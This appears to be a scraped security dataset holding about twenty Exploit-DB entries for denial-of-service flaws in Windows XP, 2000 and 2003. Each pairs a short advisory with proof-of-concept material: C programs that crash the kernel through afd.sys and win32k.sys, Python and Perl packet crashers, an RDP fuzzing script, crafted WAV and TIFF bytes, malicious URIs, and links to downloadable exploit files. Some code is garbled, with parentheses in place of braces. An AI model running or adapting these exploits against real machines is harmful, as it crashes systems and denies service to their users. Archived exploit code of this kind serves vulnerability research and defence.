deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21240
Description: Microsoft Windows XP - '.Manifest' Denial of Service
Type: dos
Platform: windows
Date: 2002-01-21
Author: mosestycoon

Exploit:
source: https://www.securityfocus.com/bid/3942/info

To enable desktop skinning, Microsoft Windows XP uses '.manifest' files ('<filename>.exe.manifest'). This file contains XML code that tells Windows XP to use the XP controls.

Due to a flaw, Windows XP fails to properly verify the XML code within a '.manifest' file.

If XML code is modified, the associated application will not start, causing a denial of service.

This issue could pose a more serious threat if the XML code associated with 'explorer.exe' is modified. If the 'explorer.exe.manifest' file is modified, then when the computer restarts, the system will hang and 'explorer.exe' will not load, causing a denial of service.

Reportedly, the repair function will not resolve this issue. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21240.zip
Exploit-DB #24699
Description: Microsoft Windows XP - '.WAV' File Handler Denial of Service
Type: dos
Platform: windows
Date: 2004-10-22
Author: HexView

Exploit:
source: https://www.securityfocus.com/bid/11503/info

Microsoft Windows XP is reported prone to a denial of service vulnerability. The issue exists due to a lack of sufficient sanitization performed on WAV file header values before they are processed. 

If an exploit attempt is successful, the Windows Explorer process will begin to consume CPU resources. An attacker may exploit this vulnerability to deny service to legitimate users.

00000000 52 49 46 46 42 D0 01 00 57 41 56 45 66 6D 74 20 RIFFB...WAVEfmt
00000010 FF FF FF FF 01 00 02 00 22 56 00 00 88 58 01 00 .........V...X..
00000020 04 00 10 00 00 00 66 61 63 74 04 00 00 00 04 74 ......fact.....t
00000030 00 00 64 61 74 61 10 D0 01 00 ..data....
Exploit-DB #17133
Description: Microsoft Windows XP - 'afd.sys' Local Kernel Denial of Service
Type: dos
Platform: windows
Date: 2011-04-08
Author: Lufeng Li

Exploit:
////////////////////////////////////////////////////////////////////////////
//
// Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit
// Author: Lufeng Li of Neusoft Corporation
// Vendor: www.microsoft.com
// Vulnerable: Windows xp sp3
//
/////////////////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <Winsock2.h>

#pragma comment (lib, "ws2_32.lib")

BYTE buf[]={
0xac,0xfd,0xd3,0x00,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x20,0x00,0x00,0x00,0xe8,0xfd,0xd3,0x00,
0xb8,0xfd,0xd3,0x00,0xf8,0xfd,0xd3,0x00,0xc4,0xfd,
0xd3,0x00,0xcc,0xfd,0xd3,0x00};

int main( )
{
    WSADATA ws;

    SOCKET tcp_socket;
    struct sockaddr_in peer;
	ULONG  dwReturnSize;

	printf("\n Microsoft Windows xp AFD.sys Local Kernel DoS Exploit \n\n");
	printf("\t Create by Lufeng Li of Neusoft Corporation. \n\n");

    WSAStartup(0x0202,&ws);

    peer.sin_family = AF_INET;
    peer.sin_port = htons( 0x01bd );
    peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );

    tcp_socket = socket(AF_INET, SOCK_DGRAM, 0);//SOCK_DGRAM

	if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
    {
		printf("connect error\n");
        exit(0);
    }

	DeviceIoControl( (HANDLE)tcp_socket,0x000120cf, buf,0x24,buf,0x24,&dwReturnSize, NULL);
	
    return TRUE;
}
Exploit-DB #28834
Description: Microsoft Windows XP - 'cmd.exe' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2006-10-20
Author: Alberto Cortes

Exploit:
source: https://www.securityfocus.com/bid/20652/info

Microsoft Windows is prone to a buffer-overflow vulnerability because the software fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer. 

An attacker can exploit this issue to crash the affected application, denying service to legitimate users. Arbitrary code execution may be possible, but this has not been confirmed.

This issue affects Microsoft Windows XP SP2.

Note: Further analysis reveals that this is not a vulnerability; this BID is now retired.

Copy paste the following lin cmd.exe:

%COMSPEC% /K "dir

\\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Exploit-DB #24605
Description: Microsoft Windows XP - 'explorer.exe .tiff' Image Denial of Service
Type: dos
Platform: windows
Date: 2004-09-16
Author: Jason Summers

Exploit:
source: https://www.securityfocus.com/bid/11202/info

Explorer.exe that ships with Microsoft Windows XP prior to Windows XP SP2 is reported prone to a denial of service vulnerability. 

The vulnerability is reported to exist when Explorer.exe handles certain TIFF format images.

A remote attacker may exploit this vulnerability by presenting a malicious image to a victim user. When this image is processed in a sufficient manner, system resources will be consumed. This will impact the performance of the computer, effectively denying service to legitimate users.

The following example TIFF image is available:

49 49 2a 00 08 00 00 00 01 00 00 01 03 00 01 00
00 00 01 00 00 00 08 00 00 00

This should be placed in a file and given a '.tif' extension.
Exploit-DB #23850
Description: Microsoft Windows XP - 'explorer.exe' Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-03-19
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9924/info

Microsoft Windows Explorer for Windows XP has been reported to be prone to a remote denial of service vulnerability.

This issue is due to a failure of the application to properly validate user-supplied input via the 'shell:' command. The 'shell:' command is a parameter that a user can specify when including a URI in an HTML tag. This command allows the HTML script to potentially execute any program specified after the 'shell:' command.

Successful exploitation of this issue would cause the affected application to crash, denying service to legitimate users.

The issue may be triggered when a user follows an HTML link formatted like so:
<a href=shell:windows\\system32\\calc.exe>link</a>

This issue may be triggered when a user views an HTML document containing the following tag:
<iframe src=shell:windows\\system32\\calc.exe></iframe>
Exploit-DB #25268
Description: Microsoft Windows XP - 'TSShutdn.exe' Remote Denial of Service
Type: dos
Platform: windows
Date: 2005-03-23
Author: Juha-Matti Laurio

Exploit:
source: https://www.securityfocus.com/bid/12889/info

Microsoft Windows XP is prone to a remote denial of service vulnerability. This issue can allow a remote unauthorized user to shutdown an affected computer.

A remote attacker uses the TSShutdn.exe command to restart or shutdown a computer.

It should be noted that the exploitation of this vulnerability may require the attacker to be part of the same domain. This BID will be updated when more information is available.

Microsoft Windows XP Service Pack 1 is affected by this issue. 

Tsshutdn 0 /SERVER:yyyzzz /DELAY:0
Exploit-DB #18819
Description: Microsoft Windows XP - 'win32k.sys' Local Kernel Denial of Service
Type: dos
Platform: windows
Date: 2012-05-02
Author: Lufeng Li

Exploit:
////////////////////////////////////////////////////////////////////////////
//
// Title: Microsoft Windows xp Win32k.sys Local Kernel DoS Vulnerability
// Author: Lufeng Li of Neusoft Corporation
// Vendor: www.microsoft.com
// Vulnerable: Windows xp sp3(full patch)
//
/////////////////////////////////////////////////////////////////////////////

#include <Windows.h>
#include <stdio.h>

void NtUserCreateWindowEx(HANDLE d1,int d2,int d3)
{
	_asm{
		xor eax,eax
		push eax
		push eax
	    	push eax
	    	push eax
	    	push eax
	    	push eax
	    	push eax
		push eax
		push eax
	    	push eax
	    	push eax
	    	push eax
	    	push d3
	    	push d2
		push d1
		push eax
		mov eax,0x1157
		mov edx,7FFE0300h
		call  dword ptr[edx]
		ret 0x3c
	}
}
void main()
{
	UINT i=0;
	UINT c[]={  
 0x00000000,0x28001500,0xff7c98cc,0x23ffffff
,0x167c98cc,0x007c98fb,0x02001500,0x78010000
,0x00000000,0x00001500,0x00000000,0x00001500
,0x00000000,0x00001500,0x00000000,0x00000000
,0x00000000,0x00000000,0x34000000,0x3cc00000
,0x5c0007fb,0x617c92f6,0x347c92f6,0x00c00000
,0x00000000,0x18000000,0x000007fb,0xf8000000
,0x200007fd,0x347c92e9,0x02c00000,0x4c000000
	};
		HWND _wnd = CreateWindowEx(WS_EX_TOPMOST,
								"magic",
								"magic",
								WS_POPUP,
								100,
								100,
								100,
								100,
								0,
								0,
								GetModuleHandle( 0 ),
								0);
	NtUserCreateWindowEx(_wnd,0x26,(UINT)c);
}
Exploit-DB #30160
Description: Microsoft Windows XP - GDI+ '.ICO' File Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-06-06
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/24346/info

Microsoft Windows is prone to a remote denial-of-service vulnerability because it fails to properly handle maliciously crafted ICO files.

An attacker may exploit this issue by enticing victims into opening a malicious file.

Successful exploits will result in denial-of-service conditions on applications using the affected library. Applications such as Windows Explorer or Picture and Fax viewer have been identified as vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30160.ico.zip
Exploit-DB #22232
Description: Microsoft Windows XP - HCP URI Buffer Overflow
Type: dos
Platform: windows
Date: 2001-11-21
Author: mozoral

Exploit:
source: https://www.securityfocus.com/bid/6802/info

A buffer overrun vulnerability was reported for helpctr.exe. The vulnerability exists due to insufficient bounds checking on input supplied via the HCP URI parameter. 

An attacker can exploit this vulnerability by making a HCP request with an overly long string. This will trigger the overflow condition and may result in malicious attacker-supplied code being executed on the vulnerable system.

hcp://m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.
m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.
m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.
m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m
Exploit-DB #25259
Description: Microsoft Windows XP - Local Denial of Service
Type: dos
Platform: windows
Date: 2005-03-22
Author: liquid@cyberspace.org

Exploit:
source: https://www.securityfocus.com/bid/12870/info

It is reported that Microsoft Windows XP Service Pack 1 is prone to a local denial of service vulnerability.

The issue is reported to manifest when a raw IP over IP socket is created and data is transferred over the newly created socket.

It is reported that this operation causes the kernel of the Windows computer to crash, resulting in the computer rebooting. If this issue can be triggered reliably, a local attacker may exploit the issue to deny service for legitimate users.

Further investigation into this issue is ongoing; this BID will be updated as soon as more details are available. 

import socket
s=socket.socket(socket.AF_INET,socket.SOCK_RAW,4)
s.sendto("",("x.x.x.x",0))

Press ENTER and your win box should crash immediately.
Exploit-DB #1143
Description: Microsoft Windows XP SP2 - 'rdpwd.sys' Remote Kernel Denial of Service
Type: dos
Platform: windows
Date: 2005-08-09
Author: Tom Ferris

Exploit:
// get SPIKE here: http://www.immunitysec.com/resources-freesoftware.shtml /str0ke
//
// Windows XP SP2 'rdpwd.sys' Remote Kernel DoS
// 
// Discovered by: 
// Tom Ferris
// tommy[at]security-protocols[dot]com
//
// Tested on:
// Microsoft Windows XP SP2
// 
// Usage (SPIKE) : ./generic_send_tcp 192.168.1.100 3389 remoteass.spk 1 0
// 
// 8/9/2005 Security-Protocols.com
//
// This program is free software; you can redistribute it and/or modify it under 
// the terms of the GNU General Public License version 2, 1991 as published by
// the Free Software Foundation.

s_block_start("packet_1");
s_string_variable("03");
s_binary("03 00 00 27 22 E0 00 00 00 00 00 43 6F 6F 6B 69 65 3A 20 6D 73 74 73 68 61 73 68 3D 41 64 6D 69 6E 69 73 74 72 0D 0A");
s_binary("03 00 00 27 22 E0 00 00 00 00 00 43 6F 6F 6B 69 65 3A");
s_string_variable("");
s_binary("41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41");
s_string_variable("");
s_block_end("packet_1");

s_block_start("packet_2");
s_int_variable(0x0500,5);
s_block_end("packet_2");

s_block_start("packet_3");
s_binary("[PII_REDACTED]00");
s_string_variable("");
s_block_end("packet_3");

// milw0rm.com [2005-08-09]
Exploit-DB #29738
Description: Microsoft Windows XP/2000 - 'WinMM.dll' / '.WAV' Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-03-13
Author: Michal Majchrowicz

Exploit:
source: https://www.securityfocus.com/bid/22938/info

Microsoft Windows is prone to a denial-of-service vulnerability.

A remote attacker may exploit this vulnerability by presenting a malicious WAV file to a victim user.

Successful exploits will result in excessive CPU consumption, effectively denying service. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29738.wav
Exploit-DB #22132
Description: Microsoft Windows XP/2000 - Fontview Denial of Service
Type: dos
Platform: windows
Date: 2003-01-06
Author: andrew

Exploit:
source: https://www.securityfocus.com/bid/6536/info

Microsoft Windows is vulnerable to a denial of service condition when attempting to view certain OpenType fonts (.otf). When a malformed font file is viewed with the default Windows font viewer, it will cause the system to Blue Screen and reboot.

The exact cause of this issue is not currently known, however, this record will be updated if and when more details become available.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22132.otf
Exploit-DB #21131
Description: Microsoft Windows XP/2000 - GDI Denial of Service
Type: dos
Platform: windows
Date: 2001-10-29
Author: PeterB

Exploit:
source: https://www.securityfocus.com/bid/3481/info

The Windows Graphics Device Interface (GDI) is a set of Application Programming Interfaces (APIs) used to display graphical output.

A vulnerability exists which causes the GDI to invoke a Kernel Mode Exception due to a memory access error. This action will result in a system stop error (bluescreen). A reboot of the system will allow normal system recovery.

This condition may be due to an inability of the GDI API to handle requests with malformed or invalid arguments or flags.

#include <windows.h>

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
        switch(message)
        {
        case WM_NCCREATE:
                {
                        ShowWindow(hwnd, SW_SHOW);
                }
                return TRUE;
        }
        return DefWindowProc(hwnd, message, wParam, lParam);
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
        HWINSTA ws = CreateWindowStation(NULL, 0, WINSTA_CREATEDESKTOP | GENERIC_ALL, NULL);
        SetProcessWindowStation(ws);
        HDESK dt = CreateDesktop("TEST", 0, 0, 0, DESKTOP_CREATEWINDOW | GENERIC_ALL | DESKTOP_CREATEMENU | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS, NULL); // no idea what access I actually need, I think this is just about everything
        SetThreadDesktop(dt);
        WNDCLASS wndclass = {0};
        wndclass.style = CS_HREDRAW  | CS_VREDRAW;
        wndclass.lpfnWndProc = WndProc;
        wndclass.hInstance = hInstance;
        wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); // default icon
        wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); // default cursor.  One or other (or both?) of these seem to be necessary.
        wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
        wndclass.lpszMenuName = NULL;
        wndclass.lpszClassName = TEXT("Crash");
        RegisterClass(&wndclass);
        HWND hwnd = CreateWindowEx(WS_EX_TOOLWINDOW, TEXT("Crash"), TEXT("Crash"), WS_POPUP, 300, 300, 300, 445, NULL, NULL, hInstance, NULL);
        // NEVER GETS HERE.
        ShowWindow(hwnd, iCmdShow);
        UpdateWindow(hwnd);
        MSG msg;
        while(GetMessage(&msg, NULL, 0, 0))
        {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
        }
        return msg.wParam;
}
Exploit-DB #25383
Description: Microsoft Windows XP/2000 - Internet Protocol Validation Remote Code Execution (1)
Type: dos
Platform: windows
Date: 2005-04-12
Author: Song Liu

Exploit:
source: https://www.securityfocus.com/bid/13116/info

Microsoft Windows is reported prone to a remote code execution vulnerability. It is reported that the vulnerability manifests when an affected Microsoft platform receives and processes an especially malformed TCP/IP packet.

Reports indicate that the immediate consequences of exploitation of this issue are a denial of service. 

#!/usr/bin/perl
use strict;
use warnings;

my %opts;
use Getopt::Std;
getopts('t:p:', \%opts);
die("Usage: $0 -t TARGET -p PORT\n") unless $opts{t} && $opts{p};

use Net::Pkt;

$Env->debug(3);

my $frame = Net::Packet::Frame->new(
   l3 => Net::Packet::IPv4->new(
      dst     => $opts{t},
      options => "\x03\x27". 'G'x38,
   ),
   l4 => Net::Packet::TCP->new(
      dst => $opts{p},
   ),
);

$frame->send for 1..5;
Exploit-DB #28227
Description: Microsoft Windows XP/2000 - Registry Access Local Denial of Service
Type: dos
Platform: windows
Date: 2006-07-15
Author: David Matousek

Exploit:
source: https://www.securityfocus.com/bid/18995/info

Microsoft Windows is prone to a denial-of-service vulnerability.

This issue occurs when a program calls certain API calls for manipulating Windows registry keys. This may crash the affected computer.

NOTE: This BID has been revised (July 3, 2007); the issue was originally thought to be a vulnerability in Symantec Norton Personal Firewall, but further investigation reveals a problem in an underlying OS API.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28227.zip
Exploit-DB #23504
Description: Microsoft Windows XP/2000 - showHelp '.CHM' File Execution (MS03-004)
Type: dos
Platform: windows
Date: 2003-12-30
Author: Arman Nayyeri

Exploit:
source: https://www.securityfocus.com/bid/9320/info

Microsoft Windows is prone to a security flaw in the implementation of the showHelp() function. Microsoft previously released patches that provide security measures to prevent abuse of the showHelp() method to reference local compiled help files (.CHM) from within a web page. This initial problem was described in BID 6780/MS03-004. However, using directory traversal sequences and special syntax when referring to the CHM file, it is possible to bypass this restriction. This could be exploited in combination with other known vulnerabilities to install and execute malicious code on a client system.

** UPDATE: This issue was initially believed to affect Microsoft Internet Explorer but is actually an operating system issue. Microsoft Internet Explorer, Outlook, and Outlook Express may all present attack vectors for this security flaw.

showHelp("mk:@MSITStore:iexplore.chm::..\\..\\..\\..\\chmfile.chm::/fileinchm.html");
Exploit-DB #12337
Description: Microsoft Windows XP/2000/2003 - 'win32k.sys' SfnINSTRING Local kernel Denial of Service
Type: dos
Platform: windows
Date: 2010-04-22
Author: MJ0011

Exploit:
/*
Windows 2000/XP/2003 win32k.sys SfnINSTRING local kernel Denial of Service Vulnerability 

Effect : Microsoft Windows 2000/XP/2003 full patch 


Author:MJ0011
Published: 2010-04-22


Vulnerability Details: 


Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some 
Message, will call gapfnScSendMessage this function table function to process,
which under the deal 2000/xp/2003 0x4c No. message, there will be SfnINSTRING function called this function when the lParam is not empty, 
direct that the lParam is a memory pointer, and pull data directly from the address
despite the use of the function of the SEH, but as long as the kernel address transmission errors will still cause the system BSOD 
*/

//Exploit code: 

# Include "stdafx.h" 
# Include "windows.h" 
int main (int argc, char * argv []) 
( 
printf("Microsoft Windows Win32k.sys SfnINSTRING Local D.O.S Vuln\nBy MJ0011\nth_decoder$126.com\nPressEnter");

getchar();

HWND hwnd = FindWindow ("DDEMLEvent", NULL); 

if (hwnd == 0) 
( 
printf ("cannot find DDEMLEvent Window! \ n"); 
return 0; 
) 

PostMessage (hwnd, 0x18d, 0x0, 0x80000000); 


return 0; 
) 

/*

Common crash stack: 

kd> kc 

win32k! SfnINSTRING 
win32k! xxxDefWindowProc 
win32k! xxxEventWndProc 
win32k! xxxDispatchMessage 
win32k! NtUserDispatchMessage 
.... 

Windows 7/Vista no such problem 

Thanks: 

Thanks to my colleagues LYL to help me discovered this vulnerability 




th_decoder
2010-04-22
*/
Exploit-DB #12336
Description: Microsoft Windows XP/2000/2003 - 'win32k.sys' SfnLOGONNOTIFY Local kernel Denial of Service
Type: dos
Platform: windows
Date: 2010-04-22
Author: MJ0011

Exploit:
/*
Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability 

Effect : Microsoft Windows 2000/XP/2003 full patch 


Author:MJ0011
Published: 2010-04-22


Vulnerability Details: 

Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some 
Message, will call gapfnScSendMessage this function table function to process, which under the deal 2000/xp/2003 
0x4c No. message, there will be a function called SfnLOGONNOTIFY, this function again when the wParam == 4/13/12 
When the data directly from the lParam inside out, despite the use of the function of the SEH, but as long as the kernel passes the wrong address, will still lead to 
BSOD 

Pseudo-code: 

if (wParam == 4 | | wParam == 13 | | wParam == 12) 
( 
    v18 = * (_DWORD *) lParam; 
    v19 = * (_DWORD *) (lParam 4); 
    v20 = * (_DWORD *) (lParam 8); 
    v21 = * (_DWORD *) (lParam 12); 
*/

//Exploit code: 

# Include "stdafx.h" 
# Include "windows.h" 
int main (int argc, char * argv []) 
( 
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");

getchar();

HWND hwnd = FindWindow ("DDEMLEvent", NULL); 

if (hwnd == 0) 
( 
   printf ("cannot find DDEMLEvent Window! \ n"); 
   return 0; 
) 

PostMessage (hwnd, 0x4c, 0x4, 0x80000000); 


return 0; 
) 

Common crash stack: 

kd> kc 

win32k! SfnLOGONNOTIFY 
win32k! xxxDefWindowProc 
win32k! xxxEventWndProc 
win32k! xxxDispatchMessage 
win32k! NtUserDispatchMessage 
/*
.... 

Windows 7/Vista no such problem 

Thanks: 

Thanks to my colleagues LYL to help me discovered this vulnerability 



th_decoder
2010-04-22
*/